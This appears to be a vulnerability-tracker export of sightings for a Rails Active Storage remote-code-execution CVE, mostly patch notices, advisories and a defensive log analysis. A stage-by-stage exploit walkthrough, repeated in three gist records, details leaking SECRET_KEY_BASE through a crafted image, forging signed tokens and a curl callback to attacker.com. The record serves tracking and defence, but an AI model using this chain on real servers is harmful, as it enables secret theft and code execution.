computes\n\n```\nHMAC(secret,\n     serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n      \u2502\n      \u25bc\nReceive CSRF Token\n      \u2502\n      \u25bc\nPOST /uploads\n      \u2502\n      \u25bc\nReceive Representation URL\n      \u2502\n      \u25bc\nPOST /rails/active_storage/direct_uploads\n      \u2502\n      \u25bc\nReceive signed_id + upload URL\n      \u2502\n      \u25bc\nPUT malicious BMP\n      \u2502\n      \u25bc\nGET representation(profile.bmp)\n      \u2502\n      \u25bc\nlibvips reads /proc/1/environ\n      \u2502\n      \u25bc\nSECRET_KEY_BASE leaked\n      \u2502\n      \u25bc\nForge Rails signed token\n      \u2502\n      \u25bc\nGET representation(forged token)\n      \u2502\n      \u25bc\nMarshal Deserialization\n      \u2502\n      \u25bc\nMiniMagick::Tool\n      \u2502\n      \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-31T00:21:27.587290Z"}, {"uuid": "153e80a1-2895-4de0-8cde-3f7c0445cd41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mrvpbjlkq623", "content": "[26.05] dawarich: bump rails to 8.0.5.1 to fix CVE-2026-66066\n\nhttps://github.com/NixOS/nixpkgs/pull/547197\n\n#security", "creation_timestamp": "2026-07-31T00:31:25.737171Z"}, {"uuid": "f153670d-c488-4074-9dce-931ee64298e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://threatintel.cc/2026/07/30/critical-rails-flaw-lets-unauthenticated.html", "content": "cybersecuritynews.com/critical-…\n\nRuby on Rails released emergency patches for CVE-2026-66066 (also called KindaRails2Shell), a critical vulnerability in Active Storage\u2019s default libvips image-variant processing. An unauthenticated attacker who can upload images can craft a file that causes the server to read arbitrary files, including process environment variables that typically contain secret_key_base, database credentials, and cloud/API keys.\n\nSuccessful file disclosure can escalate to remote code execution or lateral movement. The flaw affects applications using the default vips processor that accept untrusted image uploads. Fixed versions are Rails 7.2.3.2, 8.0.5.1 and 8.1.3.1; libvips must also be at least 8.13. Operators are urged to patch immediately and rotate secrets.", "creation_timestamp": "2026-07-31T01:00:33.231292Z"}, {"uuid": "66872959-94ef-4367-b241-8d5197830768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/tubaxenor/6a090585034c654855e57e7bd7fd9595", "content": "# CVE-2026-66066 log analysis: scholarly-app\n\nPhase 5 of `kr2s-was-i-exploited`, run 2026-07-31 against Datadog.\n\n## Method\n\nThe first attempt at this pulled raw log lines and paginated. That was the wrong\napproach: the MCP search tool caps each response at roughly 136\u2013222 records, so\n6,000 lines would have taken about 44 calls and still produced samples rather\nthan answers.\n\nThese logs carry full structured attributes \u2014 `@http.status_code`,\n`@http.method`, `@http.url_details.path`, `@network.client.ip`, `@duration` \u2014\nso every figure below is a DDSQL aggregation over the complete population. No\nsampling, no pagination.\n\n**Range:** 2026-07-16T00:00:00Z (oldest retained log) to 2026-07-29T22:00:00Z\n(just past the fix deploy at 21:02:13Z). Retention is ~15 days with no online\narchives.\n\n## Endpoint totals\n\nGrouping all Active Storage traffic by endpoint, method and status returns three\nrows and no more, which is itself the answer to \"were any requests rejected\":\n\n| Endpoint | Method | Status | Requests | Distinct IPs |\n|---|---|---|---|---|\n| `/rails/active_storage/blobs/*` | GET | 302 | 19,418 | 312 |\n| `/rails/active_storage/representations/*` | GET | 302 | 4,874 | 345 |\n| `/rails/active_storage/direct_uploads` | POST | 200 | 1,014 | 82 |\n\nNot one 4xx or 5xx anywhere in Active Storage traffic over the window.\n\nThe `blobs` endpoint is recorded for completeness and is not an attack vector: it\nredirects to S3 and serves stored bytes directly, with no variant processing, so\nit never reaches libvips or `matload`.\n\n## The five Phase 5 queries\n\n**1. Uploads.** 1,014 across 82 IPs, all 200. Long-tailed distribution \u2014 busiest\naddress 190, then 140, 78, 39, 37, 36 \u2014 mixed residential and campus IPv4/IPv6\nbehind Cloudflare. No single scripted client working a sequence.\n\n**2. Representations.** 4,874 across 345 IPs, all 302 with 0 bytes. Daily volume\n10\u2013648 with dips on 07-18/19 and 07-25/26 (both weekends); peak service time\nstays within 82\u2013317 ms every day. No burst, no outlier, no slow tail of the kind\na large file read would produce.\n\nLimit worth stating: a successful exploitation also returns 302. This rules out a\nnoisy or failing attempt, not a quiet successful one.\n\n**3. Evidence-destruction paths \u2014 the highest-value query.** Zero requests\nreached any of the six routes that resolve a blob from a client-supplied signed\nid, by any mutating method. Three candidates surfaced and all fall away:\n\n- 38 `PATCH /api/v1/faculty_activities/:id` from three AWS addresses\n  (`3.145.136.244` \u00d735, `3.135.197.103` \u00d72, `3.137.160.76` \u00d71), all 200. No\n  `/files` segment, so this is the record update, not the files sub-resource.\n  `FacultyActivitySchema` declares no attachment field \u2014 `attachment` appears\n  only in `mapped_import_schema.rb` \u2014 so the action cannot attach or purge a blob.\n- 187 `PUT` and 26 `PATCH` on profile routes, none on the `avatar`,\n  `preferred_avatar` or `self_managed_cv_upload` sub-paths. `ProfileSchema` also\n  declares no attachment field.\n- 2 `PATCH` matching a `%file_upload%` filter resolved to\n  `/institution/faculty_evaluations/questions/multiple_file_uploads/`, an\n  unrelated feature. Pattern false positive.\n\nThe attach-then-purge blind spot is closed for the period the logs cover.\n\n**4. Rejected requests.** None. The sweep is structurally blind to rejected\nrequests because they create no blob, so this query is the only place a second\nactor could appear \u2014 and it is empty.\n\n**5. Three-stage reconciliation.** Does not descend, structurally rather than\nanomalously. Uploads (1,014) sit below representations (4,874) because most of\nthe latter render avatars attached long before this window. The third term,\nsurviving variant records for unattached blobs, is ~0 because the purge job\nremoved them. The series cannot be formed on this application and its absence\ncarries no signal.\n\n**Checksum join: not applicable.** The skill's attribution path filters log lines\nby the checksums of crafted objects the sweep found. The sweep found none, so\nattribution has no starting point \u2014 not merely bounded by retention, but with\nnothing to anchor to.\n\n## Limits\n\nThese are Heroku router logs. They carry method, path, host, request id, client\nIP, dyno, service time, status and bytes. They do **not** carry a user agent, an\nauthenticated account, or a request body, so attribution reaches the client\naddress and stops there.\n\nA clean 13-day window says nothing about the preceding 30 months.\n\n## Superseded raw capture\n\n`direct_uploads.tsv` and `representations.tsv` are partial raw-line pulls from\nthe first attempt (883 of 1,014 and 889 of 4,874 respectively). The aggregations\nabove cover the full population and supersede them. They are kept only as a\nsample of the raw line format, which is what a future S3 sweep would join\nagainst on timestamp if it ever surfaces a crafted object.\n", "creation_timestamp": "2026-07-31T04:37:45.345308Z"}, {"uuid": "57688cd9-8f5f-40a8-8724-0ff2c42a0501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/hevo.bsky.social/post/3mrw66g4mes22", "content": "\u76f8\u5909\u308f\u3089\u305a\u30ea\u30b9\u30af\u306e\u9ad8\u3044\u8106\u5f31\u6027\u304c\u3069\u3093\u3069\u3093\u898b\u3064\u304b\u308b\u306a\u3002\u300c\u672c\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u305f\u5834\u5408\u3001\u9060\u9694\u306e\u7b2c\u4e09\u8005\u304c\u7d30\u5de5\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u30d5\u30a1\u30a4\u30eb\u3084\u8a8d\u8a3c\u60c5\u5831\u3092\u8aad\u307f\u53d6\u308a\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u81f3\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u300d\u3068\u306e\u3053\u3068\u3002\n\nRuby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77\nwww.jpcert.or.jp/at/2026/at26...", "creation_timestamp": "2026-07-31T04:58:14.365643Z"}, {"uuid": "b69a9a84-d010-4348-8aea-21fa1f7b3485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrw6k4w2zo2x", "content": "Top 3 CVE for last 7 days:\nCVE-2026-66066: 39 interactions\nCVE-2026-63077: 32 interactions\nCVE-2026-54121: 15 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-66066: 33 interactions\nCVE-2026-59726: 9 interactions\nCVE-2026-20316: 6 interactions\n", "creation_timestamp": "2026-07-31T05:04:40.640150Z"}, {"uuid": "38a83193-ae2e-416b-a6f9-262b70c32810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mrwa435ib2ut", "content": "Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77 https://www.jpcert.or.jp/at/2026/at260021.html", "creation_timestamp": "2026-07-31T05:33:00.610775Z"}, {"uuid": "29d32733-a4a5-44b7-903c-7fb4494c7a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/a32077/fc44f28edcb5e15217afb29e89d4fd11", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n  \"blob\":{\n      \"filename\":\"profile.bmp\",\n      \"byte_size\":12345,\n      \"checksum\":\"....\",\n      \"content_type\":\"image/bmp\"\n  }\n}\n```\n\nResponse\n\n```json\n{\n   \"signed_id\":\"eyJ...\",\n   \"direct_upload\":{\n      \"url\":\"/rails/active_storage/disk/....\",\n      \"headers\":{\n           \"Content-Type\":\"image/bmp\"\n      }\n   }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n      +\nHDF5\n      +\nExternal Dataset\n      +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n     serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n      \u2502\n      \u25bc\nReceive CSRF Token\n      \u2502\n      \u25bc\nPOST /uploads\n      \u2502\n      \u25bc\nReceive Representation URL\n      \u2502\n      \u25bc\nPOST /rails/active_storage/direct_uploads\n      \u2502\n      \u25bc\nReceive signed_id + upload URL\n      \u2502\n      \u25bc\nPUT malicious BMP\n      \u2502\n      \u25bc\nGET representation(profile.bmp)\n      \u2502\n      \u25bc\nlibvips reads /proc/1/environ\n      \u2502\n      \u25bc\nSECRET_KEY_BASE leaked\n      \u2502\n      \u25bc\nForge Rails signed token\n      \u2502\n      \u25bc\nGET representation(forged token)\n      \u2502\n      \u25bc\nMarshal Deserialization\n      \u2502\n      \u25bc\nMiniMagick::Tool\n      \u2502\n      \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-31T06:35:16.226869Z"}, {"uuid": "baf7dc5f-27b4-490f-91bf-e2770a20a923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrwnepbje222", "content": "CVE-2026-66066 - rails\nAn attacker can gain elevated access to a Debian Linux system. This is a security risk because it could allow unauthorized access to sensitive data or system settings. To\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rails #debian #Debian11 #CVE #infosec", "creation_timestamp": "2026-07-31T09:30:04.475753Z"}, {"uuid": "e6726dfa-74cc-4eea-8370-117ee9ce7f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/bdufstecru/3355", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 libvips \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Active Storage \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Ruby on Rails \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\n\nBDU:2026-10713\nCVE-2026-66066\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://discuss.rubyonrails.org/t/cve-2026-66066-possible-arbitrary-file-read-and-remote-code-execution-in-active-storage-variant-processing/91432\nhttps://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm", "creation_timestamp": "2026-07-31T14:00:04.380920Z"}, {"uuid": "060f26cf-fa20-4a40-b0e0-0209b089e1ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/Annbingbing/96ea182d5afb776af8acabe36fa72e2d", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n  \"blob\":{\n      \"filename\":\"profile.bmp\",\n      \"byte_size\":12345,\n      \"checksum\":\"....\",\n      \"content_type\":\"image/bmp\"\n  }\n}\n```\n\nResponse\n\n```json\n{\n   \"signed_id\":\"eyJ...\",\n   \"direct_upload\":{\n      \"url\":\"/rails/active_storage/disk/....\",\n      \"headers\":{\n           \"Content-Type\":\"image/bmp\"\n      }\n   }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n      +\nHDF5\n      +\nExternal Dataset\n      +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n     serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n      \u2502\n      \u25bc\nReceive CSRF Token\n      \u2502\n      \u25bc\nPOST /uploads\n      \u2502\n      \u25bc\nReceive Representation URL\n      \u2502\n      \u25bc\nPOST /rails/active_storage/direct_uploads\n      \u2502\n      \u25bc\nReceive signed_id + upload URL\n      \u2502\n      \u25bc\nPUT malicious BMP\n      \u2502\n      \u25bc\nGET representation(profile.bmp)\n      \u2502\n      \u25bc\nlibvips reads /proc/1/environ\n      \u2502\n      \u25bc\nSECRET_KEY_BASE leaked\n      \u2502\n      \u25bc\nForge Rails signed token\n      \u2502\n      \u25bc\nGET representation(forged token)\n      \u2502\n      \u25bc\nMarshal Deserialization\n      \u2502\n      \u25bc\nMiniMagick::Tool\n      \u2502\n      \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-31T15:47:30.457760Z"}, {"uuid": "99a5694e-7b97-4e70-aa60-5263838efba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mrxdvtp3q32i", "content": "\u26a0\ufe0f PATCH NOW\n\nA critical Ruby on Rails flaw (CVE-2026-66066, CVSS 9.5) lets an unauthenticated attacker upload a rigged image and read any file on the server.\n\nThe prize: secret_key_base, the key that signs every session.\n\nFix: patch to 7.2.3.2, 8.0.5.1, or 8.1.3.1.", "creation_timestamp": "2026-07-31T16:13:21.955550Z"}, {"uuid": "d69b5121-36b4-404f-9cb0-a9a59b9c1e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/rails-security-advisory-av26-767", "content": "", "creation_timestamp": "2026-07-31T16:45:15.953339Z"}, {"uuid": "31fe5ee7-22a8-4a7a-8058-a70697942e9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/96037", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a KindaRails2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xsha\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 16:59:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-66066 + File Read, RCE, Scanner, Lab \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-31T18:00:04.081247Z"}, {"uuid": "3bf36cc8-a88b-478f-92ef-eaaa32b138e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/twada.bsky.social/post/3mrspj5yxis22", "content": "\u671d4\u6642\u306b\u8d77\u304d\u3066\u3084\u3063\u3066\u3044\u305f\u306e\u306f CVE-2026-66066 \u5bfe\u5fdc \ud83d\ude44\nblog.flatt.tech/entry/kindar...", "creation_timestamp": "2026-07-29T19:57:45.098422Z"}, {"uuid": "c35b7d38-07ac-4e8c-b91a-d24f8aa79c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mrscdxsbdv25", "content": "\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security 